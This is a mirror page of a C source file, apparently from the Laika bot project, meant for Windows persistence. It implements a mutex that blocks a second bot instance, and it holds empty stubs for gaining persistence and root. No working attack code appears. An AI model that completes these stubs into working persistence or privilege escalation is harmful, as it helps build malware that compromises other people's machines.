1
0
mirror of https://github.com/CPunch/Laika.git synced 2024-11-22 13:00:05 +00:00
Laika/bot/win/winpersist.c
CPunch 34dd36fb67 Windows: implemented laikaB_markRunning() & laikaB_unmarkRunning()
- use Sleep() for LAIKA_PERSISTENCE in main()
- use Mutex for checking existing LaikaBots
- switched to TEXT() for win32 strings
2022-04-16 23:54:07 -05:00

45 lines
1.1 KiB
C

/* platform specific code for achieving persistence on windows */
#include <windows.h>
#include "persist.h"
#include "lconfig.h"
#include "lerror.h"
/* we want a semi-random mutex that is stable between similar builds,
* so we use the GIT_VERSION as our mutex :D */
#define LAIKA_MUTEX LAIKA_VERSION_COMMIT ".0"
HANDLE laikaB_mutex;
/* check if laika is running as super-user */
bool laikaB_checkRoot() {
return true; /* stubbed for now */
}
/* mark that laika is currently running */
void laikaB_markRunning() {
laikaB_mutex = OpenMutex(MUTEX_ALL_ACCESS, false, TEXT(LAIKA_MUTEX));
if (!laikaB_mutex) {
/* mutex doesn't exist, we're the only laika process :D */
laikaB_mutex = CreateMutex(NULL, 0, TEXT(LAIKA_MUTEX));
} else {
LAIKA_ERROR("Mutex already exists!\n");
}
}
/* unmark that laika is currently running */
void laikaB_unmarkRunning() {
ReleaseMutex(laikaB_mutex);
}
/* try to gain persistance on machine */
void laikaB_tryPersist() {
/* stubbed */
}
/* try to gain root */
void laikaB_tryRoot() {
/* stubbed */
}